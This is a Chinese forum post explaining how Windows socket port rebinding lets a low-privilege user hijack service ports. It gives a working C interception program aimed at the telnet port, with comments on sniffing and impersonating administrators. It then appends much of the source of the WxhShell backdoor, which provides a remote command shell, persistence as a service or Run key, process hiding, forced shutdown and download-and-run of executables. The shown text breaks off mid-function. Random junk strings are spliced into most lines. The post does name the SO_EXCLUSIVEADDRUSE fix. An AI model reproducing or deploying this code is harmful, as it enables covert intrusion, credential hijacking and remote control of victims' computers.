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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z"#eN(v.N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [Oen{c9 A  
%KHO}gad1  
  saddr.sin_family = AF_INET; 8@]*X,umc  
W^npzgDCo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .) uUpY%K^  
B4yU}v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *GleeJWz  
|x@)%QeC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PtCO';9[  
XK??5'&{  
  这意味着什么?意味着可以进行如下的攻击: IROX]f}r(  
4)0 %^\p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sd9$4k"  
i!+D ,O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BLZ#vJR  
vQ/}E@?u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yI/2 e[  
}P(RGKQ Z"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *vt5dxB  
B!-hcn]y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }/&Q\Sc  
=y -L'z&r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M4 SJnE  
rCfr&>nn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <6QG7 i  
uMVM-(g%  
  #include s3qWTdM  
  #include nfpkWyIu{  
  #include JYuI~<:  
  #include    E}AOtY5a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2w\$}'  
  int main() J@D5C4>i  
  { 0 zm)MSg  
  WORD wVersionRequested; R)i  
  DWORD ret; n X4R  
  WSADATA wsaData; S$J}>a#Ry  
  BOOL val; $* 1?"$LN  
  SOCKADDR_IN saddr; [p[nK=&r  
  SOCKADDR_IN scaddr; j(^ot001%v  
  int err; maAZI-H{  
  SOCKET s; {6{y"8  
  SOCKET sc; L08>9tf`  
  int caddsize; Y$xO&\&)  
  HANDLE mt; d\aKGq;8C  
  DWORD tid;   u>c\J|K_V  
  wVersionRequested = MAKEWORD( 2, 2 ); ?#; oqH<  
  err = WSAStartup( wVersionRequested, &wsaData ); ^2f'I iE  
  if ( err != 0 ) { Rs_0xh  
  printf("error!WSAStartup failed!\n"); f ?8cO#GU  
  return -1;  }/~%Ysl  
  } 6BM[RL?T  
  saddr.sin_family = AF_INET; 9ZvBsG)  
   0^'A^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MV +R$  
^kZfE"iE2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "<o[X ?u  
  saddr.sin_port = htons(23);  :VwU2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x g=}MoX  
  { 2VmQ%y6e"  
  printf("error!socket failed!\n"); - s[=$pDU  
  return -1; piYv }4;:(  
  } vSty.:bY\p  
  val = TRUE; X"WKgC g$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }L Q9db1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X-1<YG  
  { ",/3PT  
  printf("error!setsockopt failed!\n"); O@JgVdgf  
  return -1; Y g>W.wA  
  } &y` MDyXz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ' >(])Oq,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H QHFD0hv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b3(pRg[Fp  
C!Cg.^;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9~+A<X]Hd  
  { 7sP;+G  
  ret=GetLastError(); n]M1'yU  
  printf("error!bind failed!\n"); \b {Aj,6,  
  return -1; u I$| M  
  } \zj _6Os  
  listen(s,2); +mRFHZG  
  while(1) /H#- \r&r  
  {  2|'v[  
  caddsize = sizeof(scaddr); WrK!]17or  
  //接受连接请求 *M5 : \+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NGYliP,.6  
  if(sc!=INVALID_SOCKET) 5dffF e  
  { aE}1~`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u\YH,  
  if(mt==NULL)  V|=PaO  
  { _XT],"  
  printf("Thread Creat Failed!\n"); '[#a-8-JY_  
  break; tX;00g;U.  
  } 4d&#NP  
  } o(xRq;i  
  CloseHandle(mt); #_yQv?J  
  } r fqw/o  
  closesocket(s); Gvo(iOU  
  WSACleanup(); @$FE}j_  
  return 0; |1^>n,C  
  }   3wXmX  
  DWORD WINAPI ClientThread(LPVOID lpParam) >Gbj1>C}  
  { n^|;J*rD  
  SOCKET ss = (SOCKET)lpParam; bc}X.IC  
  SOCKET sc; vW4~\]  
  unsigned char buf[4096]; -r/G)Rs  
  SOCKADDR_IN saddr; 1);$#Dlt k  
  long num; 7q bGA K  
  DWORD val; B5J!&suX  
  DWORD ret; QS2J271E}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [?)=3Pp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hW*2Le!I  
  saddr.sin_family = AF_INET; DO<eBq\O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }Ictnb  
  saddr.sin_port = htons(23); "=4`RM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HZMs],GX  
  { *]2LN$  
  printf("error!socket failed!\n"); $>E\3npV  
  return -1; "bZV<;y6  
  } d q=>-^o  
  val = 100; l@` D;m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NfLvK o8  
  { l,uYp"F,ps  
  ret = GetLastError(); M0!;{1  
  return -1; +3.Ik,Z}zq  
  } $iQ>c6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \~xI#S@  
  { kg[u@LgvoN  
  ret = GetLastError(); tq=1C=h  
  return -1; "sLdkd}dj  
  } <4jQbY;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y7SOz'd  
  { a2W}Wb+  
  printf("error!socket connect failed!\n"); h"VQFqQy  
  closesocket(sc);  j`^':!  
  closesocket(ss); cT{iMgdI?  
  return -1; M9Gs^  
  } .4={K)kz|F  
  while(1) 5zJkPki  
  { VlW#_.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hv%(9)-8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ${'gyD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D^Dm, -  
  num = recv(ss,buf,4096,0); 8D]:>[|E  
  if(num>0) n+@}8;oeP  
  send(sc,buf,num,0); g+/%r91hZ  
  else if(num==0) 3{_AzL  
  break; 3WyK!@{  
  num = recv(sc,buf,4096,0); ga#,42)H  
  if(num>0) tb,.f3;  
  send(ss,buf,num,0); o D;  
  else if(num==0) ,2S <#p!  
  break; /2^cty.BXw  
  } hT6:7 _UD  
  closesocket(ss); *ggTTHy  
  closesocket(sc); GkMNV7"m  
  return 0 ; T#Pz_ hAu  
  } 04tUf3 >  
"?,3O2t  
FD(zj^*  
========================================================== RAKQ+Y"nl  
ANSvZqKh  
下边附上一个代码,,WXhSHELL aKs!*uo0H  
20m6-rkI<}  
========================================================== (ohkM`83k  
THH rGvb  
#include "stdafx.h" 3(P^PP8  
475yX-A  
#include <stdio.h>  N>`+{  
#include <string.h> "M6a_rZ2W  
#include <windows.h> I^Ichn  
#include <winsock2.h> vZ 4Z+;.  
#include <winsvc.h> Y~1}B_  
#include <urlmon.h> jIE>t5 fy  
k Fv\V   
#pragma comment (lib, "Ws2_32.lib") =1^a/  
#pragma comment (lib, "urlmon.lib") #%VprcEK  
T Uhp  
#define MAX_USER   100 // 最大客户端连接数 ?>MD/l(l  
#define BUF_SOCK   200 // sock buffer A(_AOoA'  
#define KEY_BUFF   255 // 输入 buffer B%6bk.  
L5T)_iQ5  
#define REBOOT     0   // 重启 Ary$,3X2  
#define SHUTDOWN   1   // 关机 nR/; uTTz  
Td[w<m+p<P  
#define DEF_PORT   5000 // 监听端口 Ga f/0/|  
0w\X  
#define REG_LEN     16   // 注册表键长度 IZ')1  
#define SVC_LEN     80   // NT服务名长度 "b%hAdR  
2a.NWJS  
// 从dll定义API 9BI5qHEp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 E3@O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0vG}c5;F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {+c/$4 <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )$q<"t\#P#  
1E$Z]5C9  
// wxhshell配置信息 ==x3|^0y  
struct WSCFG { q^sMJ  
  int ws_port;         // 监听端口 `Q26Dk  
  char ws_passstr[REG_LEN]; // 口令 $Br^c< y  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~ p; <H  
  char ws_regname[REG_LEN]; // 注册表键名 {EJVZG:&  
  char ws_svcname[REG_LEN]; // 服务名 )I]E%ut{4,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tp`)cdcC[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >|0yH9af  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d!8q+FI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1ISA^< M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qm`f5-d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uW>AH@Pij  
3FPy"[[  
}; 'lC"wP&$  
'5ky<  
// default Wxhshell configuration x|0Q\<mEe  
struct WSCFG wscfg={DEF_PORT, Y@eHp-[  
    "xuhuanlingzhe", H[@}ri<  
    1, ^S ,E"Q  
    "Wxhshell", &4*&L.hPM^  
    "Wxhshell", CcY.8|HT  
            "WxhShell Service", %>I!mD"X\  
    "Wrsky Windows CmdShell Service", !P@u4FCs  
    "Please Input Your Password: ", QX%m4K/a  
  1, n_Um)GI>  
  "http://www.wrsky.com/wxhshell.exe", EfDo%H^!j  
  "Wxhshell.exe" ?; )(O2p  
    }; vCH>Fj"7  
^e@c Ozt  
// 消息定义模块 6}iIK,Om  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gp-wlu4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *XH?|SV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Byldt  
char *msg_ws_ext="\n\rExit."; s+zb[3}  
char *msg_ws_end="\n\rQuit."; 7]e]Y>wZap  
char *msg_ws_boot="\n\rReboot..."; hN\E8"To  
char *msg_ws_poff="\n\rShutdown..."; ^Jnp\o>  
char *msg_ws_down="\n\rSave to "; hph 3kfR  
Jq6p5jr"  
char *msg_ws_err="\n\rErr!"; W[^XG\  
char *msg_ws_ok="\n\rOK!"; ac+7D:X  
+Yi=W o/  
char ExeFile[MAX_PATH]; oeIB1DaI  
int nUser = 0; XQj`KUO@  
HANDLE handles[MAX_USER]; 5\|[)~b  
int OsIsNt; DP; B*s4{U  
\!cqeg*53  
SERVICE_STATUS       serviceStatus; ,6t0w|@-k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aF'Ik XG d  
g?=B{V  
// 函数声明 }d.R=A9L  
int Install(void); $,i:#KT`  
int Uninstall(void); K:'pK1zy  
int DownloadFile(char *sURL, SOCKET wsh); FC]? T  
int Boot(int flag); E}NX+ vYF  
void HideProc(void); -8 &f=J)  
int GetOsVer(void); $6y1';A  
int Wxhshell(SOCKET wsl); ^[zF_df  
void TalkWithClient(void *cs); <R3S{ ty  
int CmdShell(SOCKET sock); FNc[2sI  
int StartFromService(void);  o{-PT'  
int StartWxhshell(LPSTR lpCmdLine); /c'#+!19  
0w+hf3K+:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c"O\fX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L7D'wf  
g"T~)SQP  
// 数据结构和表定义 0A 4(RLGg  
SERVICE_TABLE_ENTRY DispatchTable[] = f[|xp?ef  
{ ' J-(v  
{wscfg.ws_svcname, NTServiceMain}, _|A)ueY  
{NULL, NULL} Z]SCIU @+  
}; Nm,v E7M  
<[~x]-  
// 自我安装 Hlz4f+#I  
int Install(void) $wN'mY  
{ :eIB K  
  char svExeFile[MAX_PATH]; m k -" U7;  
  HKEY key; v0$6@K;M4G  
  strcpy(svExeFile,ExeFile); 9MHb<~F  
ny=CtU!z  
// 如果是win9x系统,修改注册表设为自启动 :nwcO3~`  
if(!OsIsNt) { GuDus2#+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }1 _gemlf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wb4sfP_  
  RegCloseKey(key); d9Q%GG0]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /AMtT%91  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5lU`o  
  RegCloseKey(key); !/jx4 w~R  
  return 0; 9l,Gd  
    } p^L6uM  
  } m2_&rjGz  
} ^1Yx'ua'  
else { JWn9&WK  
mDM]RAub)  
// 如果是NT以上系统,安装为系统服务 "jeJV,%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :m37Fpz&b  
if (schSCManager!=0) 8tdUnh%/  
{ "%.#/!RG  
  SC_HANDLE schService = CreateService w:umr#  
  ( *:&fw'vd,  
  schSCManager, -9aht}Z  
  wscfg.ws_svcname, 'm2,7]  
  wscfg.ws_svcdisp, 5T   
  SERVICE_ALL_ACCESS, G %#us3x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F5MWxAS,>  
  SERVICE_AUTO_START, $iP#8La:Y  
  SERVICE_ERROR_NORMAL, ZnJnjW PQ  
  svExeFile, t8P>s})[4  
  NULL, 55!9U:{  
  NULL, ^ MddfBwk  
  NULL, @8CD@SDv  
  NULL, ;<MaCtDt  
  NULL x%(!+  
  ); ikxSWO_Y=  
  if (schService!=0) ho(Y?'^t3  
  { _OrE{  
  CloseServiceHandle(schService); Y/$SriC_+'  
  CloseServiceHandle(schSCManager); -Z;:_"&9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jhj]rsGk  
  strcat(svExeFile,wscfg.ws_svcname); H/L3w|2+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k~q[qKb8y:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [j![R  
  RegCloseKey(key); <v2R6cj5  
  return 0; \\/X+4|o'  
    } |2oB3 \)/  
  } [ 0~qs|27  
  CloseServiceHandle(schSCManager); >K &b,o,[  
} { j/w3  
} t 1&p> v  
d9^=#ot  
return 1; pixI&iQ  
} +'KM~c?]  
SjJUhTb  
// 自我卸载 I+<`}  
int Uninstall(void) FcWu#}.p}  
{ B[$SA-ZHi  
  HKEY key; &1?Q]ZRp  
qh&K{r*T  
if(!OsIsNt) { 5o72X k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >)5vsqGZaK  
  RegDeleteValue(key,wscfg.ws_regname); ;J5oO$H+68  
  RegCloseKey(key); 3; M!]9ms  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3$kZu  
  RegDeleteValue(key,wscfg.ws_regname); 3AB5Qs<  
  RegCloseKey(key); 1/fvk  
  return 0; nut7b  
  } h5Z\9`f[  
} ZU@V]+ww  
} |aVv Lz  
else { un /eS-IIh  
brVT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :heJ5* !,  
if (schSCManager!=0) (*;u{m=  
{ jG^~{7#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ze ua`jQ  
  if (schService!=0) 3n/L; T,X  
  { Jg Xbs+.  
  if(DeleteService(schService)!=0) { '+eP%Y[W%  
  CloseServiceHandle(schService); h]=chz  
  CloseServiceHandle(schSCManager); <B fwR$  
  return 0; rcbixOT  
  } C4G)anT  
  CloseServiceHandle(schService); '*-SvA\Cx  
  } L{Th>]X  
  CloseServiceHandle(schSCManager); 4Cfwz-Qo  
} /;lk.-yU  
} l9jcoVo .  
D H.ljGb  
return 1; 3dM6zOK  
} 2MC\~"L<  
81n%2G  
// 从指定url下载文件 TcIUo!:z  
int DownloadFile(char *sURL, SOCKET wsh)  AH} nTm  
{  h43k   
  HRESULT hr; Y9%yjh  
char seps[]= "/"; 8jZYy!  
char *token; NMDNls&)k  
char *file; O]Hg4">f  
char myURL[MAX_PATH]; ?y '.sQ  
char myFILE[MAX_PATH]; vbFAS:Y:+  
~ 52  
strcpy(myURL,sURL); dqe_&C@*O  
  token=strtok(myURL,seps); ;'Y?wH[  
  while(token!=NULL) -@73"w/  
  { cn#a/Hx  
    file=token; yO($KL +  
  token=strtok(NULL,seps); Z5U~g?  
  } PY2`RZ/@  
nJ?C4\#3  
GetCurrentDirectory(MAX_PATH,myFILE); >YW>=5_  
strcat(myFILE, "\\"); -`;8~wMN  
strcat(myFILE, file); _+. t7q^  
  send(wsh,myFILE,strlen(myFILE),0); u,pm\  
send(wsh,"...",3,0); mA."*)8VNg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Yg7F>s  
  if(hr==S_OK) ::R^ w"  
return 0; a} /Vu"  
else lt*k(JD  
return 1; gPf aiVY  
:Hd<S   
} m<yA] ';s  
J8%|Gd0#4  
// 系统电源模块 IQ_0[  
int Boot(int flag) nFP2wvFM  
{ P]TT  
  HANDLE hToken; 01dx}L@hz  
  TOKEN_PRIVILEGES tkp; 8fN0"pymo  
d.+vjMI  
  if(OsIsNt) { X XF9oy8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JC#@sJ4az)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dux`BKl  
    tkp.PrivilegeCount = 1; U %4g:s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -Z Z$ 1E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?yz%r`;r  
if(flag==REBOOT) { w(yU\ N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j@ "`!uPz  
  return 0; i`Yf|^;@2>  
} b'OO~>86  
else { 7HJv4\K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) </%H'V@  
  return 0; 7m jj%  
} 9t[278B6  
  } KZE.}8^%D  
  else { 2eK\$_b_  
if(flag==REBOOT) { y((_V%F}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WY,t> 1c  
  return 0; @v'D9 ?  
} I>xB.$A  
else { 4"2/"D0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c,qCZ-.Sg  
  return 0; )k1,oUx  
} HB}gn2 .1&  
} $7r wara  
P=@lkF!\#  
return 1; o ,!"E^  
} ,dp?'_q {  
pxbNeqK@p  
// win9x进程隐藏模块 vP4Ij  
void HideProc(void) s,k1KTXg<B  
{ IX(yajc[~M  
=, 0a3D6b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9e&#;6l  
  if ( hKernel != NULL ) GW#kaqC1  
  { :2My|3H\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z]YhQIU4n8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 85fDuJ9$Z"  
    FreeLibrary(hKernel); AN>`M?EQ  
  } B#MW`7c  
>2:Sv1T  
return; c 2@@Rd~M  
} {XXNl)%  
S=g-&lK  
// 获取操作系统版本 OgS8.wX  
int GetOsVer(void) of`]LU:  
{ "6d bRo5%  
  OSVERSIONINFO winfo; `Y;gMrp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @e,Zmx  
  GetVersionEx(&winfo); O}-7 V5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {|h"/   
  return 1; Mh|`XO.5I  
  else w3N%J>4_E  
  return 0; DRoxw24  
} iq:[+  
48Lmy<}*  
// 客户端句柄模块 ,m?D\Pru  
int Wxhshell(SOCKET wsl) b1u'ukDP\  
{ % 4"~O _S  
  SOCKET wsh; gL"}53A  
  struct sockaddr_in client; ])L'Rk#4  
  DWORD myID; -9I%   
\Sby(l  
  while(nUser<MAX_USER) gJxVU41  
{ N)*e^Nfb  
  int nSize=sizeof(client); +-\9'Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P` F'Nf2U  
  if(wsh==INVALID_SOCKET) return 1; ;QQ7vo  
5#)<rK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 !.8#A':  
if(handles[nUser]==0) d-sh6q5  
  closesocket(wsh); BznA)EK?@  
else grdyiBSVn  
  nUser++; _ICDtG^  
  } b=U MoWS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4 .B*B3  
vx@p;1RU`  
  return 0; [Be53U{=  
} dO;vcgvb  
xg^^@o  
// 关闭 socket @%nUfG7TQ  
void CloseIt(SOCKET wsh) X9A[  
{ |a$w;s>\  
closesocket(wsh); ]~Vu-@ /}  
nUser--; #ljg2:I+  
ExitThread(0); 9:i,WJO  
} (y=o]Vy  
(I ds<n"  
// 客户端请求句柄 K=?F3tX^  
void TalkWithClient(void *cs) ]C6[`WF  
{ idS RWa  
h;p%EZ  
  SOCKET wsh=(SOCKET)cs; |K;Txe_  
  char pwd[SVC_LEN]; %OW9cqL>l  
  char cmd[KEY_BUFF]; Yb3f]4EH  
char chr[1]; Z_ gV Ya  
int i,j; (+8xUc(w  
$A@3ogoS&  
  while (nUser < MAX_USER) { bM0[V5:jB  
F]A~~P  
if(wscfg.ws_passstr) { r&3o~!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -,A5^>}%,Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m'(;uR`  
  //ZeroMemory(pwd,KEY_BUFF); >X,Ag  
      i=0; KBRg95E~]l  
  while(i<SVC_LEN) { ;3}EB cw)  
H L|s pl(c  
  // 设置超时 ?  < O  
  fd_set FdRead; T5jG IIa  
  struct timeval TimeOut; "E|r3cN  
  FD_ZERO(&FdRead); Ru^ ONw"  
  FD_SET(wsh,&FdRead); I/V )z9  
  TimeOut.tv_sec=8; zO5u{  
  TimeOut.tv_usec=0; $%%>n ^??  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EhPVK6@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,V]A63J  
t-m9n*\j1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wj j2J8B  
  pwd=chr[0]; sp Q4m  
  if(chr[0]==0xd || chr[0]==0xa) { QS [B  
  pwd=0; "gvw0)  
  break; h@,e`Z  
  } IO!1|JMr6  
  i++; (d'j'U:C  
    } a5}44/%  
9^QYuf3O  
  // 如果是非法用户,关闭 socket wvmg)4,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dXcPWbrU4  
} aDl, K;GL  
g{W6a2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); blfE9Oy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {p e7]P?  
HCx%_9xlm  
while(1) { B>|U-[A  
8gbm"!  
  ZeroMemory(cmd,KEY_BUFF); B3>Uba*-)}  
\l]pe|0EW  
      // 自动支持客户端 telnet标准   'y6!%k*  
  j=0; =,d* {m~A  
  while(j<KEY_BUFF) { Y%)h)El  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @nx}6?p\,  
  cmd[j]=chr[0]; 9Z0CF~Y5  
  if(chr[0]==0xa || chr[0]==0xd) { 9]L!.  
  cmd[j]=0; C9mzg  
  break; ;o)=XEh8P  
  } HZDaV&)@  
  j++; YQ @dl  
    } \)otu\3/  
uRm_  
  // 下载文件 K=c=/`E  
  if(strstr(cmd,"http://")) { c8-69hb?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sWsG,v_  
  if(DownloadFile(cmd,wsh)) ;<kZfx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3MZxu=':3  
  else NF/Ti5y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rwL=R,  
  } %jZp9}h  
  else { v LBee>$  
\,l.p_<  
    switch(cmd[0]) { 8|5Gv  
  oEenm\ZI  
  // 帮助 Txt%nzIu  
  case '?': { )l#%.Z9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  :Hzz{'  
    break; (:?5 i`  
  } t+3   
  // 安装 >[|GC/C  
  case 'i': { 8O8\q ;US  
    if(Install()) d2C[wQF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); obAs<nk  
    else d; mmM\3]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]27>a"p59Y  
    break; FJa[ToZ4+  
    } U] V3DDN  
  // 卸载 @V* ju  
  case 'r': { ~aJW"\{  
    if(Uninstall()) YY#s=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - E8ntY-  
    else 5\akI\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r~$}G-g  
    break; 5)d,G9  
    } sf |oNOz  
  // 显示 wxhshell 所在路径 YN,y0t/cQ  
  case 'p': { vzY'+9q1.  
    char svExeFile[MAX_PATH]; ]aC ':55(  
    strcpy(svExeFile,"\n\r"); %[]"QbF?  
      strcat(svExeFile,ExeFile); oLrkOn/aY  
        send(wsh,svExeFile,strlen(svExeFile),0);  xFBh?  
    break; @-wNrW$  
    } [&h#iTRT  
  // 重启 Io$w|~x  
  case 'b': { ku/\16E/k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (dzH3_U  
    if(Boot(REBOOT)) J3/\<=Qh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [x;(cISK1  
    else { Ku<b0<`  
    closesocket(wsh); bz, Da  
    ExitThread(0); O.@g/05C  
    } ,wtFs!8  
    break; 5^/,aI  
    } E4sn[DO  
  // 关机 J)9 AnGWe  
  case 'd': { "/ tUA\=j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A Gv!c($  
    if(Boot(SHUTDOWN)) K\RWC4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J+ Jt4  
